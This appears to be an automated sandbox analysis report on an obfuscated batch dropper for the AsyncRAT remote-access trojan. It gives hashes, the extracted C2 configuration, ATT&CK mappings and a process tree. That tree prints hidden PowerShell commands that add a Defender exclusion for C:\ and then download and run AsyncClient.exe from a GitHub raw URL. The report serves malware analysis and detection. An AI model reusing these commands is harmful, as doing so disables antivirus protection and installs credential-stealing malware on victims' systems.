asyncrat | e0912478bf932332e047a18ba0431920547bbd7310b2b87eab25b78e03889ef3

General

Target

cool-obf.bat
Size

20KB
MD5

99525fe4bc3b8826a79437472b315528
SHA1

6f4c3291b57e996bac223dda1b7b1bcfea8d4528
SHA256

e0912478bf932332e047a18ba0431920547bbd7310b2b87eab25b78e03889ef3
SHA512

6dca8ca280024c06b37c42d0f92b5d3b8cb7479fd527e9c5fc81efac8cd22c6adc6ac5dd2e5fdb8aeebff2634ea010ce9497c20dbf58addd382597855ac81887
SSDEEP

384:UmN+vVczZIkT0EFDuWLhGzAzjpyHGGwWW9l:PQvVc1jT0EFDuWLhGsfpyHzw79l

Score

10^/10

asyncrat default discovery execution rat spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://raw.githubusercontent.com/venkovisual/Loli-Mod/refs/heads/main/AsyncClient.exe

Extracted

Family

asyncrat

Version

AsyncRAT

Botnet

Default

C2

yyyson22.gleeze.com:4608

Mutex

dw

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
C:\AsyncClient.exe	family_asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

8 4160 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

1720 powershell.exe
4160 powershell.exe
1720 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

AsyncClient.exe

pid process

4204 AsyncClient.exe
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

7 raw.githubusercontent.com
8 raw.githubusercontent.com
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
discovery

System Language Discovery
T1614.001

Processes:

AsyncClient.exe

description ioc process

Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AsyncClient.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exeAsyncClient.exe

pid process

1720 powershell.exe
1720 powershell.exe
4160 powershell.exe
4160 powershell.exe
4204 AsyncClient.exe

flow	pid	process
8	4160	powershell.exe

pid	process
1720	powershell.exe
4160	powershell.exe
1720	powershell.exe

pid	process
4204	AsyncClient.exe

flow	ioc
7	raw.githubusercontent.com
8	raw.githubusercontent.com

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AsyncClient.exe

pid	process
1720	powershell.exe
1720	powershell.exe
4160	powershell.exe
4160	powershell.exe
4204	AsyncClient.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

powershell.exepowershell.exeAsyncClient.exe

description	pid	process
Token: SeDebugPrivilege	1720	powershell.exe
Token: SeIncreaseQuotaPrivilege	1720	powershell.exe
Token: SeSecurityPrivilege	1720	powershell.exe
Token: SeTakeOwnershipPrivilege	1720	powershell.exe
Token: SeLoadDriverPrivilege	1720	powershell.exe
Token: SeSystemProfilePrivilege	1720	powershell.exe
Token: SeSystemtimePrivilege	1720	powershell.exe
Token: SeProfSingleProcessPrivilege	1720	powershell.exe
Token: SeIncBasePriorityPrivilege	1720	powershell.exe
Token: SeCreatePagefilePrivilege	1720	powershell.exe
Token: SeBackupPrivilege	1720	powershell.exe
Token: SeRestorePrivilege	1720	powershell.exe
Token: SeShutdownPrivilege	1720	powershell.exe
Token: SeDebugPrivilege	1720	powershell.exe
Token: SeSystemEnvironmentPrivilege	1720	powershell.exe
Token: SeRemoteShutdownPrivilege	1720	powershell.exe
Token: SeUndockPrivilege	1720	powershell.exe
Token: SeManageVolumePrivilege	1720	powershell.exe
Token: 33	1720	powershell.exe
Token: 34	1720	powershell.exe
Token: 35	1720	powershell.exe
Token: 36	1720	powershell.exe
Token: SeDebugPrivilege	4160	powershell.exe
Token: SeDebugPrivilege	4204	AsyncClient.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

AsyncClient.exe

pid process

4204 AsyncClient.exe

pid	process
4204	AsyncClient.exe

Suspicious use of WriteProcessMemory 25 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 904 wrote to memory of 4516	904	cmd.exe	chcp.com
PID 904 wrote to memory of 4516	904	cmd.exe	chcp.com
PID 904 wrote to memory of 4844	904	cmd.exe	find.exe
PID 904 wrote to memory of 4844	904	cmd.exe	find.exe
PID 904 wrote to memory of 3280	904	cmd.exe	findstr.exe
PID 904 wrote to memory of 3280	904	cmd.exe	findstr.exe
PID 904 wrote to memory of 1128	904	cmd.exe	findstr.exe
PID 904 wrote to memory of 1128	904	cmd.exe	findstr.exe
PID 904 wrote to memory of 3752	904	cmd.exe	findstr.exe
PID 904 wrote to memory of 3752	904	cmd.exe	findstr.exe
PID 904 wrote to memory of 3492	904	cmd.exe	findstr.exe
PID 904 wrote to memory of 3492	904	cmd.exe	findstr.exe
PID 904 wrote to memory of 4664	904	cmd.exe	cmd.exe
PID 904 wrote to memory of 4664	904	cmd.exe	cmd.exe
PID 904 wrote to memory of 3196	904	cmd.exe	find.exe
PID 904 wrote to memory of 3196	904	cmd.exe	find.exe
PID 904 wrote to memory of 4424	904	cmd.exe	cmd.exe
PID 904 wrote to memory of 4424	904	cmd.exe	cmd.exe
PID 904 wrote to memory of 1720	904	cmd.exe	powershell.exe
PID 904 wrote to memory of 1720	904	cmd.exe	powershell.exe
PID 904 wrote to memory of 4160	904	cmd.exe	powershell.exe
PID 904 wrote to memory of 4160	904	cmd.exe	powershell.exe
PID 904 wrote to memory of 4204	904	cmd.exe	AsyncClient.exe
PID 904 wrote to memory of 4204	904	cmd.exe	AsyncClient.exe
PID 904 wrote to memory of 4204	904	cmd.exe	AsyncClient.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\cool-obf.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:904

C:\Windows\system32\chcp.com
chcp.com 437
2⤵
PID:4516

C:\Windows\system32\find.exe
find
2⤵
PID:4844

C:\Windows\system32\findstr.exe
findstr /L /I set C:\Users\Admin\AppData\Local\Temp\cool-obf.bat
2⤵
PID:3280

C:\Windows\system32\findstr.exe
findstr /L /I goto C:\Users\Admin\AppData\Local\Temp\cool-obf.bat
2⤵
PID:1128

C:\Windows\system32\findstr.exe
findstr /L /I echo C:\Users\Admin\AppData\Local\Temp\cool-obf.bat
2⤵
PID:3752

C:\Windows\system32\findstr.exe
findstr /L /I pause C:\Users\Admin\AppData\Local\Temp\cool-obf.bat
2⤵
PID:3492

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c type tmp
2⤵
PID:4664

C:\Windows\system32\find.exe
find
2⤵
PID:3196

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c type tmp
2⤵
PID:4424

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1720

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/venkovisual/Loli-Mod/refs/heads/main/AsyncClient.exe', 'C:\\AsyncClient.exe')"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4160

C:\AsyncClient.exe
"C:\AsyncClient.exe"
2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4204

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\AsyncClient.exe

Filesize
61KB

MD5
a4314ad7e9a2945cf99dd03e9e46f7c1

SHA1
326c096e183a17cbc41034c6b6a6917de5347a86

SHA256
22639054481629b24309f3ab18f016231ed4f3de6fa6b852598848c1dbe7cf1f

SHA512
5787f414ebf281f581e26d21541915897e741995528bb7cc20e5d7c02d8a35e05047cd47e231d3ea389986323ee58039844c075134869a3e63d004c11f08a8c8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
83d94e8aa23c7ad2db6f972739506306

SHA1
bd6d73d0417971c0077f772352d2f538a6201024

SHA256
dfa5cbd243b304f47196c492bc2d8b29941a550c2f076ef8bdfca72755e71881

SHA512
4224625e8ef8dadc72f1e1a1edfe2079656b14f2af94ce6128316481d96e9d0b6edf4de13fcdcc182038a2b29eb562b9246f944aecebfcb7c5ee8d7936b6287e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c3ziaa1e.xno.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp

Filesize
14B

MD5
ce585c6ba32ac17652d2345118536f9c

SHA1
be0e41b3690c42e4c0cdb53d53fc544fb46b758d

SHA256
589c942e748ea16dc86923c4391092707ce22315eb01cb85b0988c6762aa0ed3

SHA512
d397eda475d6853ce5cc28887690ddd5f8891be43767cdb666396580687f901fb6f0cc572afa18bde1468a77e8397812009c954f386c8f69cc0678e1253d5752

Download Submit
memory/1720-15-0x00007FF98C230000-0x00007FF98CCF2000-memory.dmp

Filesize
10.8MB

Download
memory/1720-19-0x00007FF98C230000-0x00007FF98CCF2000-memory.dmp

Filesize
10.8MB

Download
memory/1720-16-0x00007FF98C230000-0x00007FF98CCF2000-memory.dmp

Filesize
10.8MB

Download
memory/1720-5-0x0000022070200000-0x0000022070222000-memory.dmp

Filesize
136KB

Download
memory/1720-4-0x00007FF98C233000-0x00007FF98C235000-memory.dmp

Filesize
8KB

Download
memory/4204-36-0x00000000002A0000-0x00000000002B6000-memory.dmp

Filesize
88KB

Download
memory/4204-37-0x0000000005420000-0x00000000059C6000-memory.dmp

Filesize
5.6MB

Download
memory/4204-38-0x0000000005050000-0x00000000050E2000-memory.dmp

Filesize
584KB

Download
memory/4204-39-0x0000000005040000-0x000000000504A000-memory.dmp

Filesize
40KB

Download
memory/4204-42-0x0000000006C10000-0x0000000006CAC000-memory.dmp

Filesize
624KB

Download
memory/4204-43-0x0000000006640000-0x00000000066A6000-memory.dmp

Filesize
408KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads